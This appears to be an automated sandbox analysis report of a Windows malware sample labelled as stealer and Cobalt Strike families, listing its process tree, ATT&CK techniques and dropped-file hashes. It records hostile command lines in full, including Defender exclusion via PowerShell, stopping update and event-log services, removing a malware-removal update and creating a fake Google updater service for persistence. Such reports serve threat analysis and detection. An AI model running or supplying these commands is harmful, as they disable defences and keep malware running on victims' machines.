- Suspicious behavior: GetForegroundWindowSpam
PID:3268
- C:\Users\Admin\AppData\Local\Temp\2026-06-05_b89e401bfb55d5278b31e5dd49628c18_cobalt-strike_frostygoop_hive_luca-stealer_salatstealer_sliver_snatch.exe
  "C:\Users\Admin\AppData\Local\Temp\2026-06-05_b89e401bfb55d5278b31e5dd49628c18_cobalt-strike_frostygoop_hive_luca-stealer_salatstealer_sliver_snatch.exe"
  2⤵
  - Suspicious use of NtCreateProcessExOtherParentProcess
  - Downloads MZ/PE file
  - Suspicious use of NtSetInformationThreadHideFromDebugger
  - Checks processor information in registry
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:6024
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --no-first-run --disable-gpu about:blank
    3⤵
    - Drops file in Windows directory
    - Enumerates system info in registry
    - Modifies registry class
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of FindShellTrayWindow
    - Suspicious use of WriteProcessMemory
    PID:3804
  - - C:\Program Files\Google\Chrome\Application\chrome.exe
      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=140.0.7339.81 --initial-client-data=0x108,0x10c,0x110,0xe4,0x114,0x7ffe2761c728,0x7ffe2761c734,0x7ffe2761c740
      4⤵
      PID:656
  - - C:\Program Files\Google\Chrome\Application\chrome.exe
      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --no-pre-read-main-dll --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADgAAAIAAAAAAAAAAAAAGAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --use-gl=angle --use-angle=swiftshader-webgl --metrics-shmem-handle=1620,i,18168993649689545295,5354650402242601352,262144 --field-trial-handle=1936,i,6237638191581043194,13897508796984506408,262144 --variations-seed-version=20260513-170108.306000-production --mojo-platform-channel-handle=1932 /prefetch:2
      4⤵
      PID:988
  - - C:\Program Files\Google\Chrome\Application\chrome.exe
      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --metrics-shmem-handle=1472,i,11162441835685248872,3710392916256772372,524288 --field-trial-handle=1936,i,6237638191581043194,13897508796984506408,262144 --variations-seed-version=20260513-170108.306000-production --mojo-platform-channel-handle=2036 /prefetch:11
      4⤵
      System Time Discovery
      PID:4040
  - - C:\Program Files\Google\Chrome\Application\chrome.exe
      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --metrics-shmem-handle=2320,i,8472951499480434048,8240978601142170983,524288 --field-trial-handle=1936,i,6237638191581043194,13897508796984506408,262144 --variations-seed-version=20260513-170108.306000-production --mojo-platform-channel-handle=2492 /prefetch:13
      4⤵
      PID:1560
  - - C:\Program Files\Google\Chrome\Application\chrome.exe
      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --metrics-shmem-handle=3044,i,11513614823522242330,14834266202459802532,2097152 --field-trial-handle=1936,i,6237638191581043194,13897508796984506408,262144 --variations-seed-version=20260513-170108.306000-production --mojo-platform-channel-handle=3140 /prefetch:1
      4⤵
      PID:240
  - - C:\Program Files\Google\Chrome\Application\chrome.exe
      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --metrics-shmem-handle=3052,i,17052450746118181558,2228865274759548576,2097152 --field-trial-handle=1936,i,6237638191581043194,13897508796984506408,262144 --variations-seed-version=20260513-170108.306000-production --mojo-platform-channel-handle=3184 /prefetch:1
      4⤵
      PID:840
  - - C:\Program Files\Google\Chrome\Application\chrome.exe
      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --extension-process --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --metrics-shmem-handle=4156,i,17474569568120303538,7024276719836445366,2097152 --field-trial-handle=1936,i,6237638191581043194,13897508796984506408,262144 --variations-seed-version=20260513-170108.306000-production --mojo-platform-channel-handle=4180 /prefetch:9
      4⤵
      PID:4276
  - - C:\Program Files\Google\Chrome\Application\chrome.exe
      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.ProcessorMetrics --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --metrics-shmem-handle=5224,i,7538713399445366696,648888591597736523,524288 --field-trial-handle=1936,i,6237638191581043194,13897508796984506408,262144 --variations-seed-version=20260513-170108.306000-production --mojo-platform-channel-handle=5108 /prefetch:14
      4⤵
      PID:5100
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --no-first-run --disable-gpu about:blank
    3⤵
    - Drops file in Windows directory
    - Enumerates system info in registry
    - Modifies registry class
    - Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
    - Suspicious use of FindShellTrayWindow
    - Suspicious use of WriteProcessMemory
    PID:2632
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=139.0.7258.155 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 --annotation=prod=Edge --annotation=ver=139.0.3405.125 --initial-client-data=0x23c,0x240,0x244,0x238,0x2f0,0x7ffe0234c188,0x7ffe0234c194,0x7ffe0234c1a0
      4⤵
      PID:5736
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --no-pre-read-main-dll --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADgAAAIAAAAAAAAAAAAAGAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --use-gl=angle --use-angle=swiftshader-webgl --always-read-main-dll --metrics-shmem-handle=1656,i,9815450374640128027,6828013953131839093,262144 --field-trial-handle=1984,i,6480483082059715690,15018767270037134443,262144 --variations-seed-version --mojo-platform-channel-handle=1980 /prefetch:2
      4⤵
      PID:1860
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=2192,i,15818052414621942835,3590142148232477818,524288 --field-trial-handle=1984,i,6480483082059715690,15018767270037134443,262144 --variations-seed-version --mojo-platform-channel-handle=2276 /prefetch:11
      4⤵
      System Time Discovery
      PID:1092
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=2476,i,15294845932145292421,2872772835117248831,524288 --field-trial-handle=1984,i,6480483082059715690,15018767270037134443,262144 --variations-seed-version --mojo-platform-channel-handle=3036 /prefetch:13
      4⤵
      PID:3400
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --always-read-main-dll --metrics-shmem-handle=3368,i,6650894605089715030,9028166929772906431,2097152 --field-trial-handle=1984,i,6480483082059715690,15018767270037134443,262144 --variations-seed-version --mojo-platform-channel-handle=3444 /prefetch:1
      4⤵
      PID:3300
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --always-read-main-dll --metrics-shmem-handle=3372,i,3241357205139423587,9441562279022950858,2097152 --field-trial-handle=1984,i,6480483082059715690,15018767270037134443,262144 --variations-seed-version --mojo-platform-channel-handle=3448 /prefetch:1
      4⤵
      PID:5908
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=entity_extraction_service.mojom.Extractor --lang=en-US --service-sandbox-type=entity_extraction --onnx-enabled-for-ee --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=4852,i,1934890084333262875,10966116426843123837,524288 --field-trial-handle=1984,i,6480483082059715690,15018767270037134443,262144 --variations-seed-version --mojo-platform-channel-handle=4920 /prefetch:14
      4⤵
      PID:5012
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=4848,i,4266588647297697196,10076277759192652270,524288 --field-trial-handle=1984,i,6480483082059715690,15018767270037134443,262144 --variations-seed-version --mojo-platform-channel-handle=4864 /prefetch:14
      4⤵
      PID:5464
  - - C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5988,i,17218644755777804450,248396389924054421,524288 --field-trial-handle=1984,i,6480483082059715690,15018767270037134443,262144 --variations-seed-version --mojo-platform-channel-handle=6008 /prefetch:14
      4⤵
      PID:1972
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.ProfileImport --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6056,i,10590628395957412012,17597154226985710095,524288 --field-trial-handle=1984,i,6480483082059715690,15018767270037134443,262144 --variations-seed-version --mojo-platform-channel-handle=6060 /prefetch:14
      4⤵
      Suspicious use of WriteProcessMemory
      PID:5252
    - - C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\cookie_exporter.exe
        
        cookie_exporter.exe --cookie-json=1136
        5⤵
        
        PID:4304
  - - C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5988,i,17218644755777804450,248396389924054421,524288 --field-trial-handle=1984,i,6480483082059715690,15018767270037134443,262144 --variations-seed-version --mojo-platform-channel-handle=6008 /prefetch:14
      4⤵
      PID:2104
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.ProfileImport --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6140,i,17125607097602433770,15680328845008921215,524288 --field-trial-handle=1984,i,6480483082059715690,15018767270037134443,262144 --variations-seed-version --mojo-platform-channel-handle=6168 /prefetch:14
      4⤵
      Suspicious use of WriteProcessMemory
      PID:3348
    - - C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\cookie_exporter.exe
        
        cookie_exporter.exe --cookie-json=600
        5⤵
        
        PID:4556
- - C:\Windows\SYSTEM32\cmd.exe
    cmd /c start "" "C:\Users\Admin\AppData\Local\Temp\29db7093\60443a91.exe"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:2060
  - - C:\Users\Admin\AppData\Local\Temp\29db7093\60443a91.exe
      "C:\Users\Admin\AppData\Local\Temp\29db7093\60443a91.exe"
      4⤵
      Identifies VirtualBox via ACPI registry values (likely anti-VM)
      Drops file in Drivers directory
      Checks BIOS information in registry
      Executes dropped EXE
      Checks whether UAC is enabled
      Drops file in System32 directory
      Suspicious use of NtSetInformationThreadHideFromDebugger
      Suspicious use of SetThreadContext
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of WriteProcessMemory
      PID:4940
    - - C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
        
        C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force
        5⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:1064
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c wusa /uninstall /kb:890830 /quiet /norestart
        5⤵
        Suspicious use of WriteProcessMemory
        
        PID:4840
      - C:\Windows\system32\wusa.exe
        
        wusa /uninstall /kb:890830 /quiet /norestart
        6⤵
        
        PID:3140
    - - C:\Windows\system32\sc.exe
        
        C:\Windows\system32\sc.exe stop UsoSvc
        5⤵
        Launches sc.exe
        
        PID:4088
    - - C:\Windows\system32\sc.exe
        
        C:\Windows\system32\sc.exe stop WaaSMedicSvc
        5⤵
        Launches sc.exe
        
        PID:5232
    - - C:\Windows\system32\sc.exe
        
        C:\Windows\system32\sc.exe stop wuauserv
        5⤵
        Launches sc.exe
        
        PID:1472
    - - C:\Windows\system32\sc.exe
        
        C:\Windows\system32\sc.exe stop bits
        5⤵
        Launches sc.exe
        
        PID:5548
    - - C:\Windows\system32\sc.exe
        
        C:\Windows\system32\sc.exe stop dosvc
        5⤵
        Launches sc.exe
        
        PID:4304
    - - C:\Windows\system32\powercfg.exe
        
        C:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 0
        5⤵
        Power Settings
        Suspicious use of AdjustPrivilegeToken
        
        PID:4556
    - - C:\Windows\system32\powercfg.exe
        
        C:\Windows\system32\powercfg.exe /x -hibernate-timeout-dc 0
        5⤵
        Power Settings
        Suspicious use of AdjustPrivilegeToken
        
        PID:2300
    - - C:\Windows\system32\powercfg.exe
        
        C:\Windows\system32\powercfg.exe /x -standby-timeout-ac 0
        5⤵
        Power Settings
        Suspicious use of AdjustPrivilegeToken
        
        PID:5340
    - - C:\Windows\system32\powercfg.exe
        
        C:\Windows\system32\powercfg.exe /x -standby-timeout-dc 0
        5⤵
        Power Settings
        Suspicious use of AdjustPrivilegeToken
        
        PID:4164
    - - C:\Windows\system32\dialer.exe
        
        C:\Windows\system32\dialer.exe
        5⤵
        
        PID:2620
    - - C:\Windows\system32\sc.exe
        
        C:\Windows\system32\sc.exe delete "GoogleUpdateTaskMachineQC"
        5⤵
        Launches sc.exe
        
        PID:4872
    - - C:\Windows\system32\sc.exe
        
        C:\Windows\system32\sc.exe create "GoogleUpdateTaskMachineQC" binpath= "C:\ProgramData\Google\Chrome\updater.exe" start= "auto"
        5⤵
        Launches sc.exe
        
        PID:1804
    - - C:\Windows\system32\sc.exe
        
        C:\Windows\system32\sc.exe stop eventlog
        5⤵
        Launches sc.exe
        
        PID:4560
    - - C:\Windows\system32\sc.exe
        
        C:\Windows\system32\sc.exe start "GoogleUpdateTaskMachineQC"
        5⤵
        Launches sc.exe
        
        PID:4828
      - C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        6⤵
        
        PID:4908

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k ClipboardSvcGroup -p -s cbdhsvc
1⤵
PID:3408

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s Appinfo
1⤵
PID:3460

C:\Windows\System32\RuntimeBroker.exe
C:\Windows\System32\RuntimeBroker.exe -Embedding
1⤵
PID:3776

C:\Windows\System32\RuntimeBroker.exe
C:\Windows\System32\RuntimeBroker.exe -Embedding
1⤵
PID:3840

C:\Windows\system32\DllHost.exe
C:\Windows\system32\DllHost.exe /Processid:{3EB3C877-1F16-487C-9050-104DBCD66683}
1⤵
PID:3908

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k UdkSvcGroup -s UdkUserSvc
1⤵
PID:3948

C:\Windows\system32\DllHost.exe
C:\Windows\system32\DllHost.exe /Processid:{973D20D7-562D-44B9-B70B-5A0F49CCDF3F}
1⤵
PID:4224

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k osprivacy -p -s camsvc
1⤵
PID:4372

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceAndNoImpersonation -p -s SSDPSRV
1⤵
PID:2156

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s CDPSvc
1⤵
PID:5680

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s StorSvc
1⤵
PID:3684

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s WinHttpAutoProxySvc
1⤵
PID:1252

C:\Windows\system32\SppExtComObj.exe
C:\Windows\system32\SppExtComObj.exe -Embedding
1⤵
PID:4012

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalService -p -s LicenseManager
1⤵
PID:5492

C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe
"C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe" /service
1⤵
PID:940

C:\Windows\system32\DllHost.exe
C:\Windows\system32\DllHost.exe /Processid:{3EB3C877-1F16-487C-9050-104DBCD66683}
1⤵
PID:4220

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s NgcCtnrSvc
1⤵
PID:5564

C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe
"C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"
1⤵
PID:4304

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s NgcSvc
1⤵
PID:1148

C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe"
1⤵
PID:1468

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --no-startup-window --win-session-start
1⤵
PID:5504

C:\ProgramData\Google\Chrome\updater.exe
C:\ProgramData\Google\Chrome\updater.exe
1⤵
- Identifies VirtualBox via ACPI registry values (likely anti-VM)
- Drops file in Drivers directory
- Checks BIOS information in registry
- Executes dropped EXE
- Checks whether UAC is enabled
- Drops file in System32 directory
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious use of SetThreadContext
PID:5708
- C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Drops file in System32 directory
  - Modifies data under HKEY_USERS
  - Suspicious use of AdjustPrivilegeToken
  PID:1548
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c wusa /uninstall /kb:890830 /quiet /norestart
  2⤵
  PID:4532
- - C:\Windows\system32\wusa.exe
    wusa /uninstall /kb:890830 /quiet /norestart
    3⤵
    PID:3792
- C:\Windows\system32\sc.exe
  C:\Windows\system32\sc.exe stop UsoSvc
  2⤵
  - Launches sc.exe
  PID:4756
- C:\Windows\system32\sc.exe
  C:\Windows\system32\sc.exe stop WaaSMedicSvc
  2⤵
  - Launches sc.exe
  PID:244
- C:\Windows\system32\sc.exe
  C:\Windows\system32\sc.exe stop wuauserv
  2⤵
  - Launches sc.exe
  PID:5332
- C:\Windows\system32\sc.exe
  C:\Windows\system32\sc.exe stop bits
  2⤵
  - Launches sc.exe
  PID:2888
- C:\Windows\system32\sc.exe
  C:\Windows\system32\sc.exe stop dosvc
  2⤵
  - Launches sc.exe
  PID:5276
- C:\Windows\system32\powercfg.exe
  C:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 0
  2⤵
  - Power Settings
  - Suspicious use of AdjustPrivilegeToken
  PID:5312
- C:\Windows\system32\powercfg.exe
  C:\Windows\system32\powercfg.exe /x -hibernate-timeout-dc 0
  2⤵
  - Power Settings
  - Suspicious use of AdjustPrivilegeToken
  PID:6044
- C:\Windows\system32\powercfg.exe
  C:\Windows\system32\powercfg.exe /x -standby-timeout-ac 0
  2⤵
  - Power Settings
  - Suspicious use of AdjustPrivilegeToken
  PID:2908
- C:\Windows\system32\powercfg.exe
  C:\Windows\system32\powercfg.exe /x -standby-timeout-dc 0
  2⤵
  - Power Settings
  - Suspicious use of AdjustPrivilegeToken
  PID:440
- C:\Windows\system32\dialer.exe
  C:\Windows\system32\dialer.exe
  2⤵
  PID:2216
- C:\Windows\system32\dialer.exe
  C:\Windows\system32\dialer.exe
  2⤵
  PID:4344
- C:\Windows\system32\dialer.exe
  dialer.exe
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:3972

C:\Windows\system32\wbem\wmiprvse.exe
C:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding
1⤵
PID:1916

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

System Services

T1569

Service Execution

T1569.002

Persistence

Create or Modify System Process

T1543

Windows Service

T1543.003

Power Settings

T1653

Privilege Escalation

Create or Modify System Process

T1543

Windows Service

T1543.003

Defense Evasion

Impair Defenses

T1562

Virtualization/Sandbox Evasion

T1497

Credential Access

Credentials from Password Stores

T1555

Credentials from Web Browsers

T1555.003

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Credentials in Registry

T1552.002

Discovery

Browser Information Discovery

T1217

Query Registry

T1012

System Information Discovery

T1082

System Time Discovery

T1124

Virtualization/Sandbox Evasion

T1497

Lateral Movement

Collection

Data from Local System

T1005

Command and Control

Exfiltration

Impact

Service Stop

T1489

Replay Monitor

Loading Replay Monitor...

Downloads

BookmarkMergedSurfaceOrdering

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\BookmarkMergedSurfaceOrdering
Size 6B
SHA256 4489f9e3e454748b3521eb214e0a5694d562cff3d9ff511cb456953c8f534c00
MD5 377d072e137022223a370760763420bb
SHA1 534e5f914ae99bf0a342a2f7a7e0724bd0d11ef7
SHA512 d1e37e45e8d603c46c9254d7295744104222b09340246c5e5f50d661d4688ccc2068adf1e0cd78599bcdcf475f8a0a6255dcd3e429812aa14cc2e2022309955c
MD5 SHA1 SHA512

Submit Download

BrowsingTopicsState

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\BrowsingTopicsState
Size 649B
SHA256 06fc52c1fa44fed075531b012969f41fb66293a8b4e57cf013f4e32817695b45
MD5 d6be55cfbeac34d68e90b93e0f56dc7a
SHA1 74473f770000097403b85f97055a694bc954bd24
SHA512 2569054cad04d8b4ffb068b8f4a7b945b1c365774505c018e7f819bdd4c0a89d0b066fa4a3de267d2fbab6e0cfa7b3bf744c0fb41f462f9fe3c31d33652e5fad
TLSH
T113F0F4B6CD21AC2708FD4B1870645B4AE791131B3B81895F3B3C920C8FB4A3B469A82C
MD5 SHA1 SHA512 TLSH

Submit Download

SCT Auditing Pending Reports

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Network\SCT Auditing Pending Reports
Size 2B
SHA256 4f53cda18c2baa0c0354bb5f9a3ecbe5ed12ab4d8e11ba873c2f11161202b945
MD5 d751713988987e9331980363e24189ce
SHA1 97d170e1550eee4afc0af065b78cda302a97674c
SHA512 b25b294cb4deb69ea00a4c3cf3113904801b6015e5956bd019a8570b1fe1d6040e944ef3cdee16d0a46503ca6e659a25f21cf9ceddc13f352a3c98138c15d6af
MD5 SHA1 SHA512

Submit Download

Preferences

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Preferences
Size 12KB
SHA256 f5f0c368ea44e559e1127b5df12b0d6c5d00cddcb7d18fd9bc162f384519cdbb
MD5 5f4943b4797dfa489490e2bdfb4f519d
SHA1 edb40c844a6caba29ae6bc96bf05f3376ae4c70c
SHA512 5846ad502d0ad1228f55735f023941d3f1471ba5e3e1bf8ccd55b7ba9f2ec62c14676dc0accd1cdb12bb802e10c542ec06607cab3788e844630b5647ad26758c
SSDEEP 192:nRT2WG+8yt0v7lpupAPRp209fHsb+WNnMFPkg2WEkwtU/VyIsnAUgtaJ:nRT24JwZgUXzRwqPx2jNA8
TLSH
T12B42B42EFE14647B9CCBD21EF922B753E7F5112521942E44EAF88A2C28D76CD2217427
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Secure Preferences

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Secure Preferences
Size 17KB
SHA256 79ea521d9f3df87d24eec0f3607ae01ff8cf6eaeb5c7802f7c4721f58b8ddead
MD5 5d35f09b8c86835fb4877dcd0cc40e4a
SHA1 71d399e3fd153dc456fddb8f9cf7b1d428dcd2c7
SHA512 68050d4d5a4a4f94c2a29dfff1edf5350066ef5a2e47ef11dcbd09970c2009d28d7804e59c25d64e43ef8e1367105d32e929bef6a7a0e31d18837b193891b321
SSDEEP 384:WQjb+7KxkXqKf/pUZNCgVLH2Hfgsl5g7pLuLcSjQRXODaB+ErU39rHGQ3uKHaaK7:WUb+7KxkXqKf/pUZNCgVLH2HfgsLg7pn
TLSH
T1BF72F967BC4C9A370F94C6CDD8267A4FADB5024B65DD886483FA982903D4BCF110A2F7
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Web Data

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Web Data
Size 138KB
SHA256 b69162952db814474e4cf87149cc92f7c3954fd06833d1ae7757e90f7dec141a
MD5 e3ce71ca638b386984c603d93c43cb5c
SHA1 08bf9fa4b80262986e8ca1509395b7db869262c1
SHA512 c4a378cd9b30a9da2e26397bdfc5d164d3440b4188d89f87b464d9cad2be02f35f5dc821b9c947517b729482f466c59373fb32675798177a60ee398230ddb760
SSDEEP 192:tB+XuvBnl3JsueMEGvIW1/rcP2O5pX6TqKVumAwkP:jeuvBnhJsueMEGvIW1DcP2OXgVumAnP
TLSH
T11AD3974B3A743102EDE59A721CE050BB5E3CB16D8F5195D528B620688EF2963B23D4FF
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Local State

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Local State
Size 115KB
SHA256 0a4f4a32041479618e77441c6fa5b8eea673827497fdf228a81c82516b3c6f0a
MD5 0b6fc226b609ba78aa36afd1fcb97a0d
SHA1 cf2a4f00a705f441373c4152009b1ef5c427c4c0
SHA512 604370d61a76a39c2b84b4c8d7ee6182bca9045cb1c52231dde2bcca2488b449e6690ab5938738865283c426be52741ff773b189dd981e704fbcc9bd987d0bee
SSDEEP 1536:nYueL6TFpmkUjlTArhJ+vgVuFM8r51TRB+BsJYuRZa8pSgeDAkwdqf8Wg+95h6mq:TDFpmzNA9J+zfAsJDREge7oWg+95hy
TLSH
T171B30212CAAACE9BE5A45C79A4C413F3BEBE5F9523F1BA424166E4023DCE7041395770
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Local State

